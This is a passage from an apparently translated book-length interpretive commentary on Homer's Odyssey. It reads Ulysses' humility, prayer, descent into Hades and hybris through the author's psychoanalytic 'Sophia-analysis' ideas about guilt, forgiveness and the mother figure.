creating secondary beauty.
123
After all of this, there will finally be the desired return, the “nostos”, and there will be a serene old age. One day, far into the future, physical death will come sweetly, from the sea. (This paper was presented on October 21st, 2000, during the 21st Group Laboratory of Existential Anthropology of the Sophia University of Rome and it was published for the first time as a special insert of the paper “Giornale degli Ulissidi” {Ulyssean Journal} ). ***** A comment on the presence of the positive mother figure when it is internalized: There is no such as mothers who are only bad. Every mother has also a positive part and we can find it only if we are capable of listening to our hearts. Ulysses and the internalized positive mother In the Odyssey, we find a trace of a prayer made to the positive mother figure when, as advised by Athena, Ulysses goes into Alcinous’ palace, walks immediately towards queen Arete, bows down and embraces her legs, begging her to help him. ... “go first to the queen”... says Athena. ... “if she is in a good humor then you have hopes of seeing your friends and returning to your high-ranking home and the land of your forefathers”... ... “Odysseus threw his arms around Arete’s knees”... This is what Homer says in Book VII. He had already said something very similar in Book V. Poseidon had stirred up a violent storm against Ulysses and only the help he receives from the nymph Ino and the goddess Athena save him from sure death. Ulysses sights the land of the Phaeacians but here he is faced with another huge problem. ... … (Od.V, 53 and following verses) .
124
Ulysses is faced with a wall of stone and it isn’t the first time that such a thing happens in his life. Ulysses had stone walls before him for ten years while he was at Troy. Then he was dealing with Troy’s city walls and Ulysses found the solution to his powerlessness by using cunning and deceit. This time he is faced with a rocky coastline that keeps him from being able to come to shore. In this case, cunning and tricks won’t be of any help to him. Ulysses has to transform himself, he must completely turn himself upside down and look for a solution through humility and prayer. It’s not easy to leave behind his arrogance and find the way of humility. By trying again and again he will finally succeed. After having been smashed against the rocks several times, Ulysses finally sees the mouth of a river and he prays: .... “, sovreign: I am hereby your servant”. (Od. V, 445-450) The river answers his prayer and Ulysses can finally land. Where Ulysses has landed is at the virtue of humility, a land that was hitherto completely unknown to him. He is the one who says to the sovreign river “I am at your knees”; have pity on me, I am begging you. If Ulysses before had an arrogant heart just like the Suitors do, now he becomes capable of having a humble heart. His prayer is no longer a way of commanding or winning over the divinity, as it usually is for most. When Athena advises him to do the same thing with queen Arete, Ulysses is ready to do so. He has already learned that there is not only a negative part within the mother, a devouring part; there is also a positive part, one that is capable of being welcoming and giving. He manages to get there by following his heart. He gets there by abandoning his determination to hold on to his wounded pride and his refusal to make any changes whatsoever. He gets there after having been thrown against the rocky shoreline and having risked being smashed to pieces and then deciding to keep on swimming to see if beyond the rocks there is some small beach that he could land on. This is how Ulysses finds the mouth of the river and sends out his prayer. There is yet another wall of stone that Ulysses will come up against, and that is when he lands in Ithaca and is faced with Penelope’s hardened heart. This time he will need both humility and cunning. He will need the power of hatred and the power of an
125
immense love, fused together, so he can break down the wall of stone and find a heart of flesh and blood. Here I would like to reflect on another important element. If going from pride to humility is like passing from one universe to another within the same life dimension we are in, by having Ulysses go from a world full of storms to a world of peace like the one the Phaeacians live in, Homer is telling us that truly our life is made up in such a way that we can go from one universe to another. This is possible if we can stop complaining and accept creatively the “thousand woes” that this life has in store for us; our ability to do so is conditioned by our ability to not act like victims when we are confronted with trouble, but like artists of our lives and of the life of the universe in which we live. Ulysses’ passage from victim to artist is described in the way Ulysses acts while at Alcinous’ court. While Demodocus sings about the Trojan war, Ulysses does nothing but cry. He cries for himself and for the thousands of painful experiences the gods have inflicted him with. Soon after the scene changes: it is no longer the storyteller who is singing, but it is Ulysses. He is no longer crying and he sings about all his misadventures and his trials and tribulations with such art and mastery that the Phaeacians don’t want him to stop, even though it has gotten very late. Again a comment on “La preghiera degli Ulissidi” {The prayer of the Ulysseans}: ... ”... During his journey from Troy to Ithaca, Ulysses must face continual losses. Every loss can help Ulysses transform a part of himself, if he can understand its meaning and accept it. ... “prayer is an indispensable action if we want to go from living life as thieves to living life as a gift and from living life as violence to living life as a work of art”... For ten years, beneath and inside Troy’s city walls, Ulysses lived in violence and thievery and he continues to do so when he leaves Troy and attacks the Cicones to steal their goods. Up until this point he knows nothing about life as a work of art, which demands a continual effort to synthesize opposites and a continual transformation of oneself. He will learn this throughout the rest of his journey, step by step. Now let’s look at the type of prayer that is most meaningful to me.
126
... “.. prayer .....is the best way to accomplish a fusion between the I and the SELF, the Personal SELF and the Cosmic SELF”.... The best example of this dialog and the reflection that then leads to action can be seen in what happens between Athena and Ulysses, when he has just landed at Ithaca. … “then Athena came near him with a young man’s body and like a shepherd delicate and gentle like kings’ sons are”...(Od. XIII, 221-223) Athena comes to Ulysses as a human, and since he does not recognize her right away he starts telling her a bunch of lies. … “of all the gods I am famous for wisdom and cleverness not even you recognized Pallade Athena, Zeus’ daughter, whom has nevertheless always through every danger stayed near you and saved you”… (Od. XIII, 298-301) Ulysses complains that he hadn’t seen her come on board his ship to save him from having to suffer so much, but Athena forcefully tells him that she has always been near him during every danger and she has always saved him. This interaction describes a fundamental aspect of the SELF as defined by Homer and Cosmo-Art. The SELF is always with us to save us from every danger, but this does not mean that it keeps us from experiencing the pain we need to go through so we can transform ourselves. It is necessary to have full faith in the SELF, that often operates in our favor even though we are unaware of it. The dialog with the SELF must always be cultivated and maintained so we can create the kind of trust that is not just given to us freely, but which must be worked for day after day. When we have this trust, it becomes possible to make plans and put together strategies to help us reach our goals, with the assurance that we are fully supported by the SELF. Ulysses must save his life that is threatened by the Suitors and he must find a way to eliminate them. He must also find a way to make sure Penelope is not dangerous, unless he wants to end up like Agamemnon. Athena and Ulysses speak at length about this, and they “meditate” and “reflect” on what the best way would be for Ulysses to present himself at the palace and how he can massacre the Suitors. Athena advises Ulysses to disguise himself as a beggar and Ulysses has to decide to accept this suggestion or not. It is a terribly difficult one to accept and
127
Homer describes all the pain and humiliation that Ulysses has to undergo by presenting himself as a beggar. What man would accept to be a beggar in his own house and to patiently take all kinds of harassment from a pretentious wife, just to win her back after a long absence? Nevertheless, Ulysses accepts to disguise himself as a beggar: And speaking thus Athena touched him with a wand; and she wrinkled his beautiful skin on his agile limbs, she made his blond hair disappear from his head, she made his skin like that of an old man, she made his eyes, once so beautiful, bleary; and she threw a filthy rag on him as well as a tunic both ripped and dirty, black from the horrible smoke; above this she put on a great skin of a swift deer: she gave him a cane and a torn ugly sack, that he slung over his shoulders with a rope. (Od.XIII, 429-438) It was important for Ulysses to meet Agamemnon in Hades and learn from him what had happened when he returned to Clytemnestra with all the arrogance of a king returning victoriously after a long battle, full of gold and with Cassandra as his slave. When he got off the ship a red carpet was laid out for him to walk on, but when he entered the house he was killed by his wife’s lover, Aegisthus, as is mentioned in the first verses of the Odyssey. Agamemnon’s arrogance (and he indeed had an arrogant heart) is in contrast with Ulysses’ humility, and Ulysses manages to become so by maintaining prayer-dialog with Athena. The shift from having an arrogant heart to becoming capable of having a humble heart is one of the most difficult changes a human being must undergo, if he or she wants to live with wisdom and be able to create secondary beauty. Arrogance can not be transformed by arrogance, pride cannot be won over with more pride. We are all born arrogant and prideful and we create conflict all throughout our lives. It takes a lot of strength and above all a lot of humility to change ourselves and it is very difficult to blend strength and humility. The dialog between Athena and Ulysses is followed up by action and the action is: to accept to transform himself into a beggar and to accept to be deeply humiliated by the Suitors and even by the servants. This is not an easy thing to accept: it is a very bitter task. The strength necessary to be able to accept it can be found through prayer, through the special type of prayer that is a fusion between the I and the SELF.
128
I will again take a quote from “La preghiera degli Ulissidi” {The prayer of the Ulysseans}: The fusion between the I and the SELF ... “is not an end in itself. Its purpose is to transform the I and to create a fusion between the I and the Life of the Cosmos, between the I and You of a man and a woman. This last fusion is the most difficult to achieve for human beings. As history shows us, not only is not everyone capable of realizing it, but many are downright against it”... For example, all of those who, both in the East and the West, invented vows of chastity and have affirmed that living as monks is a life as perfection, whereas instead being married is a second-class lifestyle that keeps one from reaching perfection, are opposed to it. Before Ulysses departs for Troy he and Penelope experience a symbiosis, but now, after twenty years of being apart, Penelope is full of a deep pain as a result of having been abandoned. She also is full of a concealed hostility towards him. She is also obstinately opposed to growing up and becoming a woman capable of loving a man, but she is not very aware of this. It really is quite nice to be courted by one hundred suitors and not have to ever decide who she will choose among them. It’s nice to be able to deceive them by weaving her tapestry by day and unraveling it by night. She gets a subtle pleasure from maneuvering them with her tricks and at the same time knowing they will kill Ulysses for her, if he should ever return. Up until this point there really is not much difference between Agamemnon’s Clytemnestra and Ulysses’ Penelope. One of them is consciously plotting her husband’s murder while the other is plotting using a wily ambivalence, typical of those who do not want to get their hands dirty and be fully responsible for their actions. Penelope’s ambivalence is mentioned for the first time in Book I of the Odyssey, when Telemachus encounters Athena: She neither refuses the hated nuptials, nor does she have the courage to go through with them; in the meantime the Suitors are ruining my house with their banquets and soon they will tear me to pieces as well».(Od. I, 249-251) But Penelope herself tells Ulysses, who is still disguised as a beggar, that her heart breaks during the day and at night she is overcome by thousands of fears and doubts: and so my heart as well jumps here and there with opposing emotions whether to stay with my son and faithfully protect every thing, my wealth, my slaves, the tall and great palace, being respectful of the nuptial bed and the talk of the people; or whether to just follow the most noble of the Achaeans,
129
the one who best courts me in my palace and offers me endless gifts . (Od. XIX, 524-529) *** Ulysses’ cunning and intelligence help him out in many ways but in many situations they are ineffective all by themselves. He needs continuous help from Athena as well as sometimes directly from Zeus himself. Their intervention is the result of Ulysses’ constant prayers to them. ******
130
CHAPTER XXIV
REFLECTIONS ON HADES Many explanations can be given regarding Ulysses’ descent into Hades. The one that convinces me the most is that Hades represents the place where humanity’s deepest guilty feelings are kept and whose existence is not even imagined. According to Freud, the unconscious has no bottom, but if it had one that is where the guilty feelings that determine and oppress the lives of human beings would reside. Homer is right when he attributes to Ulysses the ability to go into the realm of the dead only after he has spent time with the sorceress Circe. It takes a magical sorceress to be able to go into the most hidden depths of humanity and be able to encounter them as if they were the shadows of death or the shadow of Teireisias. The shadows of the dead are the traces left behind from the passions and the false ideals that human beings allow to govern their lives. Achilles who cries over having sacrificed his life for the glory of war; Ajax who lost his mind from having become a slave to his need for revenge; Agamemnon who, with immense stupidity, sacrificed himself and others because of his arrogance; the Suitors (book XXIV) who put their infinite, arrogant demands in first place in their lives; and then the endless line of all of those who lived for vanity and for ephemeral things. Each shadow is a reflection of Ulysses and it is a mirror in which he can look and learn about all the dark sides of his personality, as well as all the facets of the guilty feelings that are created because of that very darkness. Teireisias sums them all up and he can predict the future because he knows what he is guilty of and what the guilty feelings, that his culpableness generates, really are. This is what governs the life of human beings in the present and in the future and it will continue to be that way until each person decides to look at them directly and purify themselves of them. Guilty feelings do not have to do only with a culpability that is either only imagined or acted out. They also have to do with Promethean guilt. To those types of culpabilities, that is, that are considered such because they break the rules set by the gods. And who are the gods? Nature? The mother? The clan? Tradition? Conformity? The laws of the State?
131
In the case of Ulysses, on one hand there is a god, Poseidon, who tries to keep him from getting home so as to get revenge on him for the fact that he blinded his son, Polyphemus. On the other hand, though, there are other gods, including Zeus, who want Ulysses to be able to get home. So, is Ulysses guilty or not? work. He is both guilty and innocent. The Aristotelian logic of “either or” here does not What works is the logic of the presence of opposites. Anyone who is familiar with the tragedy “Antigone” knows that Creon, the king of Thebes, has emanated a law which forbids that anyone who died while fighting against Thebes can be buried. Among these are Eteocles and Polyneices, Antigone’s brothers. Antigone decides to give her brothers a proper burial, following the law of the heart and disobeying the law of the State. For Creon, Antigone is guilty and she must be punished with death. We all know, instead, that Antigone is innocent and that she was absolutely right in following the law of her conscience, against the law of the state, even at risk of losing her life. Antigone was killed. When a law is unjust, if we do not obey such a law we are not culpable. For this reason Antigone is not guilty, nor is Ulysses guilty for having opposed the maternal law represented by Poseidon. But Ulysses is guilty of all the hatred that he has carried inside himself against his mother since prenatal life, hatred that he has nurtured against her for her wanting to dominate him. He is guilty for this hatred until he frees himself of it. Regarding the mother who wants to dominate her son, Homer gives us a vivid picture through Circe’s actions, when she transforms Ulysses’ companions in swine and she takes any type of human power away from them. He does the same when he describes how Calypso keeps Ulysses prisoner on her island. Polyphemus is the first devouring mother that Ulysses encounters during his voyage. Poseidon, who is Polyphemus’ father besides being the god of water, is another representation of the phallic, omnipotent mother who wants to impose her will to dominate her son at any cost. By opposing the mother, a child opposes the absolute god that the mother represents for him or her, and this is an unpardonable wrong that becomes inscribed in the deepest parts of the child. Anyone who wants to become a free human being must free themselves of these guilty feelings. To do so one must go down into Hades, into the deepest depths of one’s psyche. That is where we can find our hatred against the mother and that is also where we can find our complicity with the mother. This, too, is something we are guilty of.
132
Every culpability generates its own guilty feelings but what comes up to the surface are the guilty feelings and not what we are really guilty of. Circe made Ulysses’ descent into Hades possible. What does the sorceress Circe symbolize? The depth of feminine wisdom? Of the enormous ability that a woman has to transform a man into either a beast or, to the contrary, into a hero that can win over maternal power? To be able to unravel my own guilty feelings I received great help by listening over and over to a recording by Louise Hay. She insists that we must come into contact with our hatred and decide to dissolve it through forgiveness. This forgiveness is not a condoning of the actions of the other but it is a decision to detach from hatred, out of love for oneself. Every time I am afraid of what others can do to me or of what I might do to myself, it is this very fear that helps me come into contact with my feelings of guilt and of the punishment that I am expecting. If I try to understand what true culpability these guilty feelings are pointing out to me, then perhaps I can free myself of it and free myself also of my guilty feelings. To free oneself of maternal domination and to accomplish one’s own personal life purpose instead of the maternal one is a Promethean culpability. It also generates deep feelings of guilt. Ulysses’ Promethean guilt is that of freeing himself of the mother and of accomplishing the cosmic goal of secondary beauty. It isn’t easy to free oneself only through love; often hatred is mixed in with love and this creates guilt. Today it is not necessary to encounter the sorceress Circe and make use of her esoteric wisdom to descend into Hades. It is sufficient to enter into a conflictual intimate relationship. No one like a woman has the power to provoke and exasperate a man. And when a man reaches the very bottom of his exasperation, he is right there in Hades, where he can either face his destruction or find his salvation. Either the man reacts with extreme violence against his wife or against himself, or he becomes capable of encountering the Teireisias that he has inside himself, asking himself about the origins of his profound hatred and how he can resolve it, step by step. When a woman reaches the point of completely exasperating a man, acting herself in reaction to her feelings of guilt, all the ancient hatred that has been accumulated towards the phallic mother re-emerges, along with homicidal urges and a need to get revenge. When this happens, it is necessary to call upon all of one’s strength and all of one’s wisdom so as to avoid acting on this homicidal urge against the woman, who has become only a maternal projection both for the man and the woman. This is true because women, too, are full of hatred towards their mothers but they are rarely aware of it.
133
It is difficult to get one’s hurt pride under control, it’s difficult to decide to forgive, it’s difficult to decide to create concordance and beauty and not more ugliness. Only when the goal to create beauty has become a strong inner value is it possible to forgive in the name of beauty. And this is what Ulysses did, as Homer described and not as in other versions of the myth of Ulysses, where it is told that Ulysses kills Penelope as soon as he returns to Ithaca. *****
134
CHAPTER XXV
THE HYBRIS OF ULYSSES
Homer, and the Greeks before him, had a very clear concept of the kind of arrogance that human beings tend to have and that destroys the most sacred values in human life. In the depths of their wisdom, they knew that whoever was culpable in this manner would, sooner or later, be severely punished by the gods. The Greek literature that was produced after Homer never loses sight of this wisdom and the Greek tragedies are the works that best describe it. Homer knows that Ulysses is not exempt from being guilty of hybris, but in contrast to the other authors of tragedies, he follows the whole path that his hero Ulysses must travel so he can make the passage from hybris to its opposite, which is humility. Homer clearly shows Ulysses’ hybris when, just after leaving the Cyclops’ cave, Ulysses sarcastically yells out the name of who it was that just blinded and deceived him, stealing his herd of sheep. BOOK IX But since we were far away, at the distance of a shout, I shouted words of derision to the Cyclops: All of the wrath that Ulysses had repressed while he was in the cave now returns in full, and Ulysses violently hurls it against) Polyphemus responds to Ulysses’ wrath with an even greater rage and he throws the top of a mountain at Ulysses’ ship. As I was saying: the one who was boiling with rage in his heart even more; ripped off the top of an enormous mountain and threw it, right in front of the blue ship’s prow,
135
almost striking the tiller. The sea swelled up when the boulder fell in; the ship was grabbed by the wave and taken back to the beach, the sea brought it back to land. But I grabbed a long pole, and I pushed it sidewise: calling to my companions I ordered them to grab the oars so we could escape the danger, making gestures with my head; they rowed with all their might. (Od.IX, 480-490) Ulysses manages to save his ship and then he throws more poisonous words full of hybris at Polyphemus. His companions beg him to calm down but he has no intention of listening to them. His arrogant heart must win and annihilate his enemy. This is a taste of human insanity, Homer is saying between the lines, and while it is true that Ulysses is among the wisest of the Greek princes, it is also true that Ulysses is full of arrogance and hybris and he will have to suffer greatly to rid himself of this madness. But when we had gone twice the distance at sea, I again spoke to the Cyclops: around me my companions held me back with honeyed words: “Wicked one, why are you provoking the wild man?” Far from using honeyed words, his companions call him “wicked” and they beg him to not provoke the Cyclops, speaking of their fear of death. But Ulysses, all wrapped up in his hybris, is deaf to their pleas and does not listen. Isn’t this exactly what happens over and over again in human relationships, when one’s hybris gets into conflict with the hybris of the other? and just then by throwing a boulder into the sea he brought the ship back to land, and we were sure we were about to die. If he hears you speak or yell anymore, he will surely smash our heads and the ship as well, with some big piece of rock; he can throw so far!” That is what they said to me, but they could not persuade my magnanimous heart, and I again spoke to him with rage in my soul: “Cyclops, if by chance any mortal should ever ask you why your eye has been so horribly blinded, answer that the destroyer of fortresses Odysseus did it, the son of Laertes, whose home is in Ithaca”.(Od. IX, 495-505) Ulysses believes he can easily free himself of this crime of insane arrogance by making a sacrifice to Zeus, but Zeus refuses his offering.
136
The god does not want animal sacrifices, he wants that the heart is transformed. He strikes not to punish, but because through pain human beings can understand their errors and transform themselves. ….. to Zeus black Chronides cloud, who reigns above all, I killed the ram and burned its thighs; but he did not want my offering, and he was already meditating on how all my solid ships and my faithful companions would perish. (Od. IX, 552-555)
In this situation Ulysses’ companions have committed no crime and it seems incomprehensible why Zeus must make them die. The truth is that Ulysses does not own his guilt and he insanely shifts it on to his companions. How did he know that Zeus did not appreciate his offering? Did he maybe send some visible sign of his lack of appreciation? Not at all. But the truth comes from within and it makes no sense to lie to oneself so as to deny it. It makes no sense, either, to interpret events as one pleases. If Ulysses’ companions perish it is due to their own insanity and to their greed, which is clearly shown in the episode describing how the ox-skin is opened and also in the one where despite being warned they kill and eat the Sun god’s oxen. The fact, then, that Ulysses says that Zeus was already meditating on how to make his companions perish is an expression of his own personal idea of a punishing god. This is in open contrast to what Homer affirms from the very first book of the Odyssey, that humans are wrong to think that it is the gods who send them their troubles instead of realizing that they themselves are the cause of their own insanity. “Ah, how many wrongs mortals commit towards the gods! People say that the gods are the ones who send them their troubles, but instead it’s because of their mad crimes against duty that they suffer. This is what Zeus says in the counsel of the gods described in the first book. But Ulysses is stubbornly attached to his conviction and this is what he yells again to) This idea of Ulysses, that it is the gods that punish humans “for this Zeus and the other gods have punished you” is one that does not change easily. Yet today it is still deeply instilled in the mentality of those who belong to any type of religious faith, except for Buddhism.
137
It is true that Poseidon is very angry with Ulysses for having blinded his son Polyphemus, but Zeus says: …Poseidon will stop with his wrath, he certainly won’t want to fight alone against all the immortals! (Od. I, 77-79) Also, it is simply not true that he is the one who keeps Ulysses from returning to Ithaca. The exact opposite is true. During the only storm that Poseidon stirs up against Ulysses, not by chance this happens right off the island of the Phaeacians. It will be the Phaeacians themselves, a people devoted to Poseidon, who transport Ulysses to Ithaca on their fastest ship. These are not contradictions that Homer is unaware of while he is composing his poem. They are precious indications that should inspire the reader to reflect more deeply on the meaning of the facts that are narrated. Homer clearly states in three different places that Ulysses suffered immensely because he had to undergo “trials” that he had to face so he could transform himself . Only then would he be capable of accomplishing the great project that Zeus and Athena had entrusted him with and that they could not achieve alone: the creation of secondary beauty. A clear contradiction can also be found in the prayer that Polyphemus says to Poseidon his father: “Listen, oh Poseidon who embraces the earth, blue crest: if I am truly yours and you claim you’re my father, make it so Ulysses, destroyer of fortresses and son of Laertes, whose reign is in Ithaca, never returns home. But if fate wishes that he see his friends again and he returns to his secure home and the land of his fathers, may at least he arrive late, and with much trouble, after losing all his companions, and having to return on another’s ship only to find his house full of tragedies”. So he prayed, and the blue crest heard him (Od. IX, 528-536) Polyphemus first asks that Ulysses never return home and then, even though it is not clear why, he settles with may at least he arrive late, and with much trouble, after losing all his companions, and having to return on another’s ship only to find his house full of tragedies”. (ibid 534-535) It’s as if all of a sudden he is transformed into a soothsayer and he predicts for Ulysses what Teiresias will later tell him when he is in Hades.
138
Had Ulysses taken Polyphemus’ threats seriously, he would not have had to descend into Hades. At that time, however, his hybris was still too strong and his humility was at absolute zero. Polyphemus invokes his father Poseidon to help him and, rightly so, Poseidon becomes hostile towards Ulysses because of his hybris. What surprises me is that after this episode Poseidon actually goes after Ulysses only once throughout the whole poem, and never in such a way so as to kill him as he does with Ajax. and Poseidon heard his arrogant words; and after quickly grabbing his trident with his brawny hands he struck the Gyrea cliff and broke it in two. One part stayed in place, the other fell into the sea, the one that Ajax, so blind, was on, and it brought him down with it into the infinite swells. And so he died, swallowing sea water (Od. IV, 505-511). It also surprises me that Poseidon strikes at Ulysses, while he is on the raft he built with Calypso’s help, just when he has finally arrived right off the coast of the island of the Phaeacians. The Phaeacians end up being those who after just a few days will take him to Ithaca on their fastest ship. Why didn’t he ever strike at him before then? The Phaeacians are faithful to Poseidon and they are aware of a prophecy that says they will be severely punished if they take Ulysses to his island. What is it that makes them willing to transgress Poseidon’s will and why is it that Poseidon allows them to do it, without intervening beforehand? I don’t know how to answer these questions, I am only expressing my surprise. The storm that Poseidon stirs up against Ulysses is extremely intense and frightening. For two days and two nights Ulysses is full of every kind of anguish and he must face death time and time again. Athena comes to his rescue, as usual, and she instills wise thoughts in him, but she does not relieve him of his pain. Ulysses must completely accept losing everything he has and everything he is so he can become a new man. But he must, above all, strip himself completely of his hybris, and his pain allows him to process it on a very deep level and forces him to change his old way of being. He must also strip himself of his hatred towards his mother and he must learn to forgive both her and himself. This is the wise advice that Athena gives him in that terrible moment. At this point it would be helpful to look at what I already wrote in my book “Il mito di Ulisse e la bellezza seconda” {The Myth of Ulysses and Secondary Beauty} . “In Poseidon’s eyes, Ulysses is guilty not because he blinded Polyphemus but because he would have liked to kill him. Polyphemus is another symbol of the phallic
139
mother and Ulysses hates the phallic mother, has hated her since his intrauterine experience, and hatred means wanting someone else’s death. He does not kill her only because if he would have done so he would have died as well. In Polyphemus’ cave Ulysses placates his rage but he does not placate his hatred. He only represses it. Now the time has come for him to descend into his own depths and to face it in a more definitive way. This is why Poseidon stirs up such a terrible storm and Ulysses can no longer escape from this deeper truth, that Ulysses is an assassin, he’s blinded by his hatred and by his wounded pride. Ulysses is guilty because as soon as he leaves the Cyclops’ cave, he fully shows how arrogant he is, how full of hybris he is, as the Greeks would say. The gods do not tolerate any arrogance or hybris in any form. This is why Ulysses must suffer and must transform himself, and go from being arrogant and self-righteous to becoming humble. “When Ulysses is caught in the storm he goes through one of the most terrible experiences of his life, as we will see in a bit through the words of Homer. In the worst moment he receives two forms of help, one from Ino and one from Athena. One form comes from the depths and the other comes from above. Ino, the daughter of Cadmus and Harmony, is a marine nymph, and she saves Ulysses by giving him a precious veil that placates his fear of death. Athena, Zeus’ daughter, runs to the aid of her hero by calming the winds and by whispering to his soul what it is best for him to do. It must be noted, however, that neither one of them exempts him from having to taste the bitterness of the danger of death to the very end. “Following are the phrases that Homer wrote in book V, where he insists more than once on describing the mortal anguish that overcomes Ulysses:
140 under around your waist, it’s immortal: you won’t have to be afraid anymore of pain or death”. This is precious help but the storm still does not cease… … For two days and two nights; and in the swollen waves he drifted about, and often in his heart he saw death before him. And when Ulysses finally saw land he was taken over by fear … that some god would send some huge monster against me from the abyss. He won’t have to fight the sea monster anymore but his suffering has not ended at all: ….
141. (Od. V, 300-457) I have insisted on looking at these verses carefully, because it is important to understand how Homer describes with such mastery what happens to all of us when our hatred, that we created and repressed during intrauterine life, suddenly reappears. This happens when life circumstances that we could have never imagined appear out of seemingly nowhere, striking us with fury. What we must understand is that what appears to belong to the present is instead an event pertaining to the past. It is, rather, a monster from the past that lies buried in the abyss of the psyche and that suddenly jumps on us when we are least expecting it. When Ulysses gets out of Polyphemus’ cave, he clearly shows how much hybris is within him. He is full of arrogance and omnipotence and he is also still full of much hatred. The death, which he saw with his own eyes inside the cave, did not teach him to decide to free himself of all of this. This is why his hatred returns, under the form of Poseidon, and it attacks him when he is least expecting it. Ulysses saves himself because the nymph Ino and Athena come to his aid and they inspire him from within. What do they inspire? That if he does not decide to unravel his hatred against the devouring, seductive, castrating mother with forgiveness, his hatred will turn against him and he will die a miserable death. That if he does not abandon his hybris and become humble, no one will either welcome him nor give him a safe place. Ulysses listens and he understands. His prayer to the river (to Life) is the evidence of his change of heart. In the same manner, the next day he will follow the advice given to him from Nausicaa, when he throws himself at Arete’s feet in all humility, just like a son who, having forgiven his mother, can now ask her to help him. At this point a whole new chapter and a whole new life opens up for him, one that was absolutely unthinkable even one day before. “Many times during our lives we find ourselves, just like Ulysses in the midst of the storm, wracked with the deepest anguish and surrounded by darkness and we have no way of knowing what will happen the next day: an encounter first with Nausicaa and later with her parents and all the Phaeacian princes, who fill Ulysses with gifts and end up taking him straight to his long awaited destination. We must be able to trust life even when everything seems lost.
142
“To be able to complete this process of forgiveness, Teireisias had already told Ulysses what he must do. Once he has returned to Ithaca he must leave again and begin a new journey, this time short by sea and long on land, and stop only when he meets someone who will mistake his oar for a winnow. He will then offer some sacrifices to Poseidon and the god will finally be placated. Afterwards, Ulysses will return to Ithaca and will be able to live out a tranquil old age. We have, rightly so, abolished animal sacrifices, but we cannot exonerate ourselves from offering up our wounded pride if we want to decide to forgive deep within ourselves. This can happen only when we become able to communicate, without violence, with those that have hurt us. This is where the work begun with Sophia-analysis reaches its completion: the person who has unified and made peace with him or herself. Let’s look, however, at how Sophia-Art and Cosmo-Art are interwoven in this process and how they complete it. Sophia-Art teaches us that every transformation of the I is a death that has been overcome. Every passage from one dimension of the I to a higher one brings with it the necessity to die to one identity and become willing to receive a whole new one, which is superior to the former one. Every time Ulysses faces the death of a part of himself so he can be transformed; every time a part of his fetal I - that he is powerfully controlled by and that does not allow the artistic I to emerge – dies; at every death of his animalistic parts that are based on thievery and violence and that Ulysses carries within himself since he was born, he creates beauty and accumulates it within. This beauty is an immortal type of beauty because, besides having faced death, it is created through the continuous synthesis of opposites that Ulysses is able to create, step by step. Sometimes there is the synthesis of life and death; sometimes there is a synthesis of love and hatred that creates the love force; sometimes there is a synthesis of the I with the SELF, which is symbolized by Athena who represents wisdom; sometimes it is the synthesis of the I with the Cosmos, represented by Zeus; sometimes it is the synthesis of the I with the You , of the masculine and feminine principles, represented by the female characters that Ulysses encounters during his journey and that are always positively transformed by their meeting him. By operating a continual synthesis of opposites Ulysses acts like an artist who can transform his very life into a work of art. This work of art contains immortal beauty, which is sometimes visible to the naked eye but which often is visible only to the eyes of the heart”. Reprinted from “The Myth of Ulysses and Secondary Beauty” pages 16 and following pages. ***
143
I would like to add another way of interpreting some of the verses quoted above: …. (Od. V, 441445) By reading and re-reading these verses and the ones before them, where Homer talks about the sharp rocks that Ulysses is thrown against, I suddenly thought that here Homer is alluding to what can happen to a fertilized ovum, when, during the time when it tries to attach itself to the walls of the uterus it is not welcomed there. This passage describes the mortal anguish that the fetal I must face because it does not know if it will be able to attach itself and live or be rejected and die. When a mother does not want a child she most certainly does not offer it a welcoming uterus at the time the blastocyst is trying to implant on the uterine wall. A mother could also very well want to have a child and at the same time be filled with guilt about becoming a mother. This too can make the walls of the endometrium less than welcoming. If the story that Autolycus forced his daughter Anticlea to spend the night before her marriage to Laertes with Sisyphus is true, what kinds of fears that she could be pregnant must have been bothering her? All of this has an enormous affect on the embryo and it generates anguish and hatred. If the I wants to save itself and live, it must put its pain and its wounded pride aside. Only if it does so can it be carried along by the current and reach the mouth of the river, where, with humility and not arrogance, it can pray to be welcomed and come into Life. It really doesn’t matter if the story is true or not. No myth is true like a news story is true, but it is true for the deep truth that it contains. This is the truth that must be explored so it can be extracted from the trappings of the myth around it. The island of the Phaeacians, for example, does not exist nor did it ever exist. It was invented by the poet to allow him to express a poetic truth, that was hidden and condensed within the invention itself. In the same way, no monster with six heads called Scylla exists, nor does a god named Poseidon exist, nor do any of the other mythological figures mentioned in the Odyssey exist. (Nor do any of the characters invented by Shakespeare or Pirandello or any other author exist). There is a poetic truth, however, that does exist and it is found at the heart of the myth and at the heart of reality. A poet is one who knows how to recognize such a truth and represent it through art. *** Why is it that the Phaeacians are the ones who take Ulysses back to Ithaca, betraying their loyalty to Poseidon?
144
If Poseidon is the great mother that embraces the Earth with her oceans, this embrace is both mortal and vital. It can give life and it can also give death. Whether one or the other will be given depends on many factors but most certainly it depends on the presence or absence of hatred in the hearts of human beings and on the right relationship between love and hatred that they have towards their mother. Hatred towards the mother begins as early as prenatal life in response to the trauma the fetus experiences during that phase. This hatred can be followed by a need for revenge and eventual self destruction, or the choice to forgive and to save oneself. Ulysses, when he is off the island of the Phaeacians, relives his trauma and he relives his hatred. If he dissolves his hatred through forgiveness he can save himself, otherwise he will die. Arrogance, self-righteousness and repressed hatred all belong to the fetal I , which often invades the adult I and forces it to bend to its wishes. Nausicaa gives Ulysses some precious advice: But as soon as you will have entered the house and courtyard, cross the great room and go near my mother: she sits near the fireplace, in the light of the flames, twirling her purpureo spindle, a delight to see, as she leans against a pillar: her servants sit behind her. Right next to her is the throne of my father, who drinks wine, sitting, and looks like an immortal god. Walk past him and embrace the knees of our mother, and you will see the day of your return approach with joyous speed, even though you come from far away. If she takes a liking to you, then you have hopes of seeing your friends again and of returning to your high-ranking home and the land of your forefathers” (Od.VI, 303-315). Embracing the mother’s knees is a gesture of humility and Ulysses is more than willing to do so after he has transformed himself. Humility and forgiveness make the mother become well disposed and Ulysses can be hopeful that he will see his homeland again. *****
145
CHAPTER XXVI
THE OX-SKIN OF WINDS AND THE POISON OF ENVY
